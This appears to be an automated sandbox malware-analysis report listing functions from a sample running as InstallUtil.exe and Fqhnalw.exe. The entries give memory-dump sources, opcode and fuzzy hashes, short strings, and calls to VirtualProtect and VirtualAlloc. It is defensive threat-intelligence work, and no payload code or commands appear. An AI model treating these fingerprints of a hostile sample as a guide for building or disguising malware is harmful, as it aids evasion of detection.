
API ID:
String ID:
API String ID:
Opcode ID: 78a18a04d552332612c0e60e468134480e1ebb51ef06f4ee7ea5a5d97833a2a4
Instruction ID: cadc2d181fb1b94983edbe5caa92db34091f2a036da7531227f42ed062f04438
Opcode Fuzzy Hash: 78a18a04d552332612c0e60e468134480e1ebb51ef06f4ee7ea5a5d97833a2a4
Instruction Fuzzy Hash: E241EFB1D00349DFEB14CFA9C884ADEBBF5FF48310F248029E809AB254DB75A945CB90

Function 012D6F3F Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1569481493.00000000012D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_12d0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 509eca5cb921619a6ddb78c291484cf6e57bbea6982dc81da572342c0accf078
Instruction ID: ec120451d9cfd08b56adda16675da7a4b4d105aaba9d3782ae206024449b80ec
Opcode Fuzzy Hash: 509eca5cb921619a6ddb78c291484cf6e57bbea6982dc81da572342c0accf078
Instruction Fuzzy Hash: C2317370E2060ADFDB25CFA9C4507AEBBB2FF85304F508969E506EB281E7B5D845CB50

Function 012D7059 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1569481493.00000000012D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_12d0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d9684cda0ba80f3cefd3a87a436a415f64cb5941e9ee97b1601b444586560db
Instruction ID: c436fa763ee04b6ed04581ac46ee96e3a666ef1a6f65f49a0f9e6db8708a2eeb
Opcode Fuzzy Hash: 4d9684cda0ba80f3cefd3a87a436a415f64cb5941e9ee97b1601b444586560db
Instruction Fuzzy Hash: AF212936B00214CFD705EB74D858B6E37B6BB88714B248968D4069B3A8DE759C42DBA0

Function 012D92D1 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1569481493.00000000012D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_12d0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f89b0a3d1c74d2fe6c40693eb0236fa5170f8c77715284311b24ebd74da367c1
Instruction ID: 47bd8d5c16bb4ef956d9f9a84fcf45936cf194c1acbbad87af4a5122a0ab15d0
Opcode Fuzzy Hash: f89b0a3d1c74d2fe6c40693eb0236fa5170f8c77715284311b24ebd74da367c1
Instruction Fuzzy Hash: E0319571E1020A9BDF06DFA8D4506DEB7B2FF89304F10951AE905EB381EB719881CB90

Function 012D1667 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1569481493.00000000012D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_12d0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d3dd62f2e0a8023745ea69f349c37acd049407d239dd4fb54ec53bca1034d4c
Instruction ID: 81d1d38e728849e36d4b873157fa8d85695d4a7a9501957f07f07da8c0addc29
Opcode Fuzzy Hash: 5d3dd62f2e0a8023745ea69f349c37acd049407d239dd4fb54ec53bca1034d4c
Instruction Fuzzy Hash: D5213675610201CFFB23AB68E88476D37A1EB49300F100E65E106CB76AFB30DC65DBA2

Function 012D92E0 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1569481493.00000000012D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_12d0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4831f73abbfd0959664b800497bc434331d2bf44a8d1fbaed92f4ef7b36b02ea
Instruction ID: 45f26f9eb04de401fb19e1f45749faf5208caebedf4e9d01a98b538903c11d5f
Opcode Fuzzy Hash: 4831f73abbfd0959664b800497bc434331d2bf44a8d1fbaed92f4ef7b36b02ea
Instruction Fuzzy Hash: 20217631E1020A9BDF15DFA9D49069EF7B2FF89304F10951AF905EB391EB719885CB50

Function 012D91D1 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1569481493.00000000012D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_12d0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fcf7999e86b1697956842258576e55efaef6a8c6df01bbca13931436cf911a57
Instruction ID: 0cf2a3d5877e81fe5d294e53baf22e1fb65d2a1ed0521a7aa54695f5db8a8bc0
Opcode Fuzzy Hash: fcf7999e86b1697956842258576e55efaef6a8c6df01bbca13931436cf911a57
Instruction Fuzzy Hash: 3A21B630E146069BDF15CFA8C454ADEFBB2BF89314F10852AF915B7381DB709882CB50

Function 012D1340 Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1569481493.00000000012D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_12d0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f11a4aab26522ba161cf06db1f7edf8cd379f7714591b550e637efaac20333f8
Instruction ID: 9197dc21b8a09a7cc1c6b9bd81e3a2516f62c6daadc4c2dbf5af7675dcbb1669
Opcode Fuzzy Hash: f11a4aab26522ba161cf06db1f7edf8cd379f7714591b550e637efaac20333f8
Instruction Fuzzy Hash: B221D571A10242CBEB73672CE45432D37A1EB06321F500D69F606CBB82DE29CD69C752

Function 012D1840 Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1569481493.00000000012D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_12d0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d1e815783e2fc4b2d13963c5b7fbedb5a23170f9da35bebb7bd975499beeb36
Instruction ID: 34d7ff102b7d64ab791f274a507a8d10d3327950aab35aa537ad679cd6f57479
Opcode Fuzzy Hash: 9d1e815783e2fc4b2d13963c5b7fbedb5a23170f9da35bebb7bd975499beeb36
Instruction Fuzzy Hash: 0A219C30B10246CFEB15EB78C5657AE7BF2AF49301F200468D502EB7A1DB318D11CBA0

Function 0123D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1568328101.000000000123D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0123D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_123d000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83b53722707b5f74c9b6ac445e7c400e1de96258d55ad2023ae6e17421a45247
Instruction ID: 4e92772379af90e0e9667d59318ca89136832ef9441eb043998ab2662271e339
Opcode Fuzzy Hash: 83b53722707b5f74c9b6ac445e7c400e1de96258d55ad2023ae6e17421a45247
Instruction Fuzzy Hash: 352100B1614348DFDB15DFA4D8C0B26FB65FB84B14F64C569E90A4B282C376D807CA62

Function 012D6B48 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1569481493.00000000012D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_12d0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 886845e327e0a1d09ad3feec23c398b9fa2ab3fca74e65c62efde771a248e905
Instruction ID: f0fc8919ab7d0098dc40c47d568978f7c22c82d810020765b87dbe8a67536093
Opcode Fuzzy Hash: 886845e327e0a1d09ad3feec23c398b9fa2ab3fca74e65c62efde771a248e905
Instruction Fuzzy Hash: 35110672A142645FD306AB78D4247EE7FA2EFD6204F1144ABC045CB292EA798845C792

Function 012D91E0 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1569481493.00000000012D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_12d0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ba25c109e600a9ee8383c68f6fe7dae062290eb0b9b0db4011f1633c022de9a
Instruction ID: acf509e7aac4c45841088e3e96a0d34173ef44c7d29964472b2e6ecafb3148e3
Opcode Fuzzy Hash: 6ba25c109e600a9ee8383c68f6fe7dae062290eb0b9b0db4011f1633c022de9a
Instruction Fuzzy Hash: 19218030E1060A9BDF19CFA8C454A9EF7B2BF89314F10861AF915B7380EB70A881CB50

Function 012D1850 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1569481493.00000000012D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_12d0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98d7c17393fc12cbd3931c2ccc25693c994d39ec68e615a4133be4b2cd22700e
Instruction ID: 81a29ebc92de029e355ddf2c2520f2964f744784fa554e07a3d48e8e0689ae79
Opcode Fuzzy Hash: 98d7c17393fc12cbd3931c2ccc25693c994d39ec68e615a4133be4b2cd22700e
Instruction Fuzzy Hash: 3B213A31B20205CFEB14EB78C555BAE77F6AF49305F200468D606EB7A5EB359C50CBA1

Function 012D1678 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1569481493.00000000012D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_12d0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db7e5bc86cbe42365c9e3d4ce0d15e1585cdc810da886dc5b667445e6751d2c7
Instruction ID: 48f2a0b788ff9463f3b3c95862af1644a24453c11f5d86bb83e3bff038abe8f6
Opcode Fuzzy Hash: db7e5bc86cbe42365c9e3d4ce0d15e1585cdc810da886dc5b667445e6751d2c7
Instruction Fuzzy Hash: E821A579610201CFEB27EB6CE88475D37A5EB48311F104E25E106CB76AFB34E8649BA1

Function 0123D006 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1568328101.000000000123D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0123D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_123d000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1da43bd095657f2ef3259ca27cbd77ed819846956518aae676a5088dee402215
Instruction ID: c99c9645875b7e587dea289eab0f043165327bc5ce5f439fc3a798e25b921594
Opcode Fuzzy Hash: 1da43bd095657f2ef3259ca27cbd77ed819846956518aae676a5088dee402215
Instruction Fuzzy Hash: D321B3B14083849FCB02CF64D994711BF71EB86314F28C5DAD9498F2A7C33A9806CB62

Function 012D0838 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1569481493.00000000012D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_12d0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b682d1533dff7414bd51a48f05eb1295e468b63e7ed0b50d57384b9f8b7ccd52
Instruction ID: a03f0d9b9bea37ef090ac98c2183f2ae07ab5a3c0e20a0aa92a02e60df5a9320
Opcode Fuzzy Hash: b682d1533dff7414bd51a48f05eb1295e468b63e7ed0b50d57384b9f8b7ccd52
Instruction Fuzzy Hash: FF112931F24306DFEF225679D8063693394EB46214F10497AF206CF2A2EA65CD458BDA

Function 012D0848 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1569481493.00000000012D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_12d0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44bdc0c9ac3dbe81cc6b26f95af493041a9fa8bdc754c1c4ce75419f07918dbd
Instruction ID: 528c9c1623dcaf4a106b545c9f23d20bd6d3b8d18c066d50727bd5a0757df746
Opcode Fuzzy Hash: 44bdc0c9ac3dbe81cc6b26f95af493041a9fa8bdc754c1c4ce75419f07918dbd
Instruction Fuzzy Hash: 1E119130B2030ACFEF25AA7DD4457693395FB45214F204979F206DF362DA61CC458BDA

Function 012D1797 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1569481493.00000000012D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_12d0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4db400a5e3cd72b3208827f4c70082c07aee09ea9036caafd4a0a29d2e3a04c2
Instruction ID: 2ff435bdc2ea385b8eac35a75c1a06b09dd77876a10b6cfaf6bbadba74792110
Opcode Fuzzy Hash: 4db400a5e3cd72b3208827f4c70082c07aee09ea9036caafd4a0a29d2e3a04c2
Instruction Fuzzy Hash: 59118476F11211DFDF11AB78A84476E7FE6FB88750B104A29E906D3345EB3489128BE1

Function 012D1460 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1569481493.00000000012D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_12d0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4a820a1a2e83f00464cf8582f33785386add693a656a0afa6f632a34bcafd17
Instruction ID: d410aef5f02266539195715175b582a709186e0da706143dfc8110c2e1939d53
Opcode Fuzzy Hash: f4a820a1a2e83f00464cf8582f33785386add693a656a0afa6f632a34bcafd17
Instruction Fuzzy Hash: EB016931A102168BCF21EFBCC5401AEBBF9EB48224F24047AD905E7A41EA35C842CB95

Function 012D447B Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1569481493.00000000012D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_12d0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 186efe1babb8af13ee37b1fbdfdd5dae69418bbb012d20288f7df1d4dc9ecab5
Instruction ID: 75f7fdef782a3a2d3e05894951a52df2249ef79649fdf94c994f630c3bc4ce82
Opcode Fuzzy Hash: 186efe1babb8af13ee37b1fbdfdd5dae69418bbb012d20288f7df1d4dc9ecab5
Instruction Fuzzy Hash: 89111C34C2029ACFDF34EA98E5987ECB7B1EF51319F14542AC201B6991DB7458C9CB16

Function 012D8170 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1569481493.00000000012D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_12d0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 251ce2a28eb9b37d7e7f5f8c15acbee3f5ea197b8149cfc973841de3b6916587
Instruction ID: 68000983a089ca5bc1910552bf43340b4113d7d38c60f333e197f68ef04b040d
Opcode Fuzzy Hash: 251ce2a28eb9b37d7e7f5f8c15acbee3f5ea197b8149cfc973841de3b6916587
Instruction Fuzzy Hash: F101A270500289DFDB06EBB8E990ADC7BB1EF45310B840A9DC4405F297EF346E16E795

Function 012D8180 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1569481493.00000000012D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_12d0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6800b8570d9f60de320568958656c6ba839bbcabbe0dc27c3a6a7a2b2a263fe2
Instruction ID: 10024fe13071f00b60ab4f70d2b94ea837f3ff958e98fb3cf1fd3ff862a6d547
Opcode Fuzzy Hash: 6800b8570d9f60de320568958656c6ba839bbcabbe0dc27c3a6a7a2b2a263fe2
Instruction Fuzzy Hash: 7FF04F70A00209EFDB05FBB8FD80A9D7BB1EB44300F90466DC4049B255EF306E14ABA1

Analysis Process: Fqhnalw.exePID: 7784, Parent PID: 3504COMMON

Execution Graph

Execution Coverage:	11%
Dynamic/Decrypted Code Coverage:	98.4%
Signature Coverage:	0%
Total number of Nodes:	511
Total number of Limit Nodes:	56

Executed Functions

Function 06B3C300 Relevance: 2.4, Strings: 1, Instructions: 1180COMMON

Download Yara Rule

Strings

4, xrefs: 06B3CCD5

Memory Dump Source

Source File: 00000004.00000002.1590280319.0000000006B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6b30000_Fqhnalw.jbxd

Similarity

API ID:
String ID: 4
API String ID: 0-4088798008
Opcode ID: 6c83fda5de92b7ae70e4bf6119af1db41b7b24a9dcc3dc9ecdc3c39330b0133d
Instruction ID: 169673d0b9420f0fff2a02953852b243646ecead9348b4cc3023d29b1fd12710
Opcode Fuzzy Hash: 6c83fda5de92b7ae70e4bf6119af1db41b7b24a9dcc3dc9ecdc3c39330b0133d
Instruction Fuzzy Hash: C6B2E374B00228CFDB54DFA9C994BADBBB6FF88700F158199E505AB2A5DB70EC41CB50

Function 06B3C627 Relevance: 1.7, Strings: 1, Instructions: 495COMMON

Download Yara Rule

Strings

4, xrefs: 06B3CCD5

Memory Dump Source

Source File: 00000004.00000002.1590280319.0000000006B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6b30000_Fqhnalw.jbxd

Similarity

API ID:
String ID: 4
API String ID: 0-4088798008
Opcode ID: 1a71f396c95e236ffdc4fc7d53f5c031b9ce86f3ea63718ea50b6c671d17f765
Instruction ID: dab0c0a073a5981dcae1edc132e780a9f0a1f30bc0707ccdb84ef2b6ebc77025
Opcode Fuzzy Hash: 1a71f396c95e236ffdc4fc7d53f5c031b9ce86f3ea63718ea50b6c671d17f765
Instruction Fuzzy Hash: BA22D874B00228CFDB64DFA5C994BA9B7B2FF48700F1481D9E509AB2A5DB71AD81CF50

Function 06B38690 Relevance: 1.6, Strings: 1, Instructions: 366
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

y-3|, xrefs: 06B387F5

Memory Dump Source

Source File: 00000004.00000002.1590280319.0000000006B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6b30000_Fqhnalw.jbxd

Similarity

API ID:
String ID: y-3|
API String ID: 0-2856238494
Opcode ID: 70ebd26fba7ea4d5f505fc51831b226fe8b659c8b6cf01ef30fee8abb92ac3ff
Instruction ID: 5834459b6c32fd22e98fc5180eafc08e1a83ecd0fe31f95075ce77f730032ab3
Opcode Fuzzy Hash: 70ebd26fba7ea4d5f505fc51831b226fe8b659c8b6cf01ef30fee8abb92ac3ff
Instruction Fuzzy Hash: D5F1C5B0E05229CFEBA4CF69D844BA9B7B2FB49300F1091EAE40DA7355DB705985CF42

Function 06B38686 Relevance: 1.6, Strings: 1, Instructions: 361
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

y-3|, xrefs: 06B387F5

Memory Dump Source

Source File: 00000004.00000002.1590280319.0000000006B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6b30000_Fqhnalw.jbxd

Similarity

API ID:
String ID: y-3|
API String ID: 0-2856238494
Opcode ID: 4d1e5008f9281d8518a3bddcd8f919f06c4c990180a7ef430f7403484da6aa93
Instruction ID: 1c004a9e0efe8d091c2bbcd238f0469796158efc0734c2e959f85184a3c864b5
Opcode Fuzzy Hash: 4d1e5008f9281d8518a3bddcd8f919f06c4c990180a7ef430f7403484da6aa93
Instruction Fuzzy Hash: 2BF1D3B0E05269CFEBA4CF69D844B9DB7B2FB49300F1091EAE409A7355EB705985CF42

Function 06C08747 Relevance: 1.5, Strings: 1, Instructions: 268COMMON

Download Yara Rule

Strings

S8;, xrefs: 06C0894C

Memory Dump Source

Source File: 00000004.00000002.1590592038.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c00000_Fqhnalw.jbxd

Similarity

API ID:
String ID: S8;
API String ID: 0-184023343
Opcode ID: 57bf597ae21c158ca47be0f0a52f319321e3bf10545a7f25764f019744f53b72
Instruction ID: 0437eed57bf7dc6fcfc14298893caec34eab3b21351c7bbca2e53ac062118de4
Opcode Fuzzy Hash: 57bf597ae21c158ca47be0f0a52f319321e3bf10545a7f25764f019744f53b72
Instruction Fuzzy Hash: 44B13874E06218CFEB94DFAAD8847AEBBB5FB49300F20916AD009A7395DB345985CF40

Function 06C03E08 Relevance: .3, Instructions: 263COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1590592038.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c00000_Fqhnalw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c08e7fbc5abbb70394c41b01e4a352d0602a13ccb730339d9ae4117ab78d7ec3
Instruction ID: c30c257aa57a26b7f3cb926b2679b9f052c3617e05fc578fb92ab3d52a8c19b3
Opcode Fuzzy Hash: c08e7fbc5abbb70394c41b01e4a352d0602a13ccb730339d9ae4117ab78d7ec3
Instruction Fuzzy Hash: 51C12574E06259CFEB94DF6AD844BAEBBF6BB49300F1081AAD419A7394DB305D41CF80

Function 06C05EE7 Relevance: 2.5, Strings: 2, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

>, xrefs: 06C06266
0, xrefs: 06C05EF1

Memory Dump Source

Source File: 00000004.00000002.1590592038.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c00000_Fqhnalw.jbxd

Similarity

API ID:
String ID: 0$>
API String ID: 0-3953377423
Opcode ID: 23cf9341e343aff1f2ea20bf6efdcf5377e3a99fbe3ae6e86944e5950f5a4949
Instruction ID: 343e367f18230b88e2db203a5a88127c4fbe1ddd17d0b593907d448179213f1e
Opcode Fuzzy Hash: 23cf9341e343aff1f2ea20bf6efdcf5377e3a99fbe3ae6e86944e5950f5a4949
Instruction Fuzzy Hash: 2B014C74A012289FEBA5DF54CDA4BECBBB1BF49304F5081D9D509AB290DB719E81CF40

Function 06BBDB58 Relevance: 1.6, APIs: 1, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 06BBDBCC

Memory Dump Source

Source File: 00000004.00000002.1590481977.0000000006BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bb0000_Fqhnalw.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: fe8b971cad96b83ea6d83c02dec1dc8098a4f739e52fcab717476faed4c5d2a7
Instruction ID: 5bbc67aa85564172f7e2c5d0cf4f0a740dc270d2ac175f2bc4a1fe708b8e6cdf
Opcode Fuzzy Hash: fe8b971cad96b83ea6d83c02dec1dc8098a4f739e52fcab717476faed4c5d2a7
Instruction Fuzzy Hash: B211E5B19043099FDB10DFAAC484BEEFBF4EF48310F14842AD459A7240C7B99944CFA1

Function 06BBEBD0 Relevance: 1.3, APIs: 1, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(?,?,?,?), ref: 06BBEC3B

Memory Dump Source

Source File: 00000004.00000002.1590481977.0000000006BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bb0000_Fqhnalw.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 1bff66cc25ec59cb376633225dc24996f9b39ac9439c3cb72956f1590c3693d5
Instruction ID: 1e3291dacce90082f7e196d077b4aec5254ec4e43a4c24d2ac195a05df7ef244
Opcode Fuzzy Hash: 1bff66cc25ec59cb376633225dc24996f9b39ac9439c3cb72956f1590c3693d5
Instruction Fuzzy Hash: 851134B28003098FDB10DFAAC845BEEFBF5EF88320F14881AD559A7250C779A545CBA0

Function 06C05BA9 Relevance: 1.3, Strings: 1, Instructions: 50COMMON

Download Yara Rule

Strings

F, xrefs: 06C05C45

Memory Dump Source

Source File: 00000004.00000002.1590592038.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c00000_Fqhnalw.jbxd

Similarity

API ID:
String ID: F
API String ID: 0-1304234792
Opcode ID: a5688fc5acd238754167301f5ebae645212d1c5fc0e67a7190512dd208498c4c
Instruction ID: 24ae8750ec1d34ab3ef4dfc43a5e58ee94b893f30311b31368bcbd529ac1df8c
Opcode Fuzzy Hash: a5688fc5acd238754167301f5ebae645212d1c5fc0e67a7190512dd208498c4c
Instruction Fuzzy Hash: 13219D74905268CFEBA0DF65D944BEDBBB2AB49300F5085DAD50EA7280DB319E85DF00

Function 06C05665 Relevance: 1.3, Strings: 1, Instructions: 44COMMON

Download Yara Rule

Strings

%, xrefs: 06C06306

Memory Dump Source

Source File: 00000004.00000002.1590592038.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c00000_Fqhnalw.jbxd

Similarity

API ID:
String ID: %
API String ID: 0-2567322570
Opcode ID: dbb0b00522e33f9a7f66b768ebdcad03f46763f3f611bfcd0e14a1018f04c2ca
Instruction ID: 9410ecbc68e0cc416307ee6e7d0d046c07ada2b12a1f13918d4ffbd9dbe42bcc
Opcode Fuzzy Hash: dbb0b00522e33f9a7f66b768ebdcad03f46763f3f611bfcd0e14a1018f04c2ca
Instruction Fuzzy Hash: 8D219A74901268CFEB61CF64DD48BEEBBB1AF49305F1484DAD909A7250C7729E86CF40

Function 06B33AAC Relevance: 1.3, Strings: 1, Instructions: 34COMMON

Download Yara Rule

Strings

9, xrefs: 06B33B49

Memory Dump Source

Source File: 00000004.00000002.1590280319.0000000006B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6b30000_Fqhnalw.jbxd

Similarity

API ID:
String ID: 9
API String ID: 0-2366072709
Opcode ID: 71b9e5a2a6f0c86123527a91d5366d46535995c54b1c79ec6c57d8f560bcc0ab
Instruction ID: 6f48f78b341e78f4be01ddc0704eca8ac0c7307a7611208009e4599de9cee957
Opcode Fuzzy Hash: 71b9e5a2a6f0c86123527a91d5366d46535995c54b1c79ec6c57d8f560bcc0ab
Instruction Fuzzy Hash: E911C9B4A101288FCBA4DF24C89569EBBF5EF4A311F4041EAD64EAB350DB305E84CF05

Function 06B30502 Relevance: 1.3, Strings: 1, Instructions: 18COMMON

Download Yara Rule

Strings

L, xrefs: 06B3055A

Memory Dump Source

Source File: 00000004.00000002.1590280319.0000000006B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6b30000_Fqhnalw.jbxd

Similarity

API ID:
String ID: L
API String ID: 0-2909332022
Opcode ID: 082932f5a6576af8baa4ea89f2bd7ed1ffbbd4f3d7970ecf7b14edd0317f82d3
Instruction ID: d5cce0f75082f7f4c18ab3f5257b6b7546f92387e193e528bdac0e4f825f7f97
Opcode Fuzzy Hash: 082932f5a6576af8baa4ea89f2bd7ed1ffbbd4f3d7970ecf7b14edd0317f82d3
Instruction Fuzzy Hash: AFF05AB4D042288FCB64CF24D9857C9BBB1BB58301F1081EAA649A3250DBB02EC0CF40

Function 06B30AE5 Relevance: 1.3, Strings: 1, Instructions: 14COMMON

Download Yara Rule

Strings

m, xrefs: 06B30B1B

Memory Dump Source

Source File: 00000004.00000002.1590280319.0000000006B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6b30000_Fqhnalw.jbxd

Similarity

API ID:
String ID: m
API String ID: 0-3775001192
Opcode ID: 894e3bfe22db02e603864e48a79f5fd77450ad3dc81248155e43e249f2c561ca
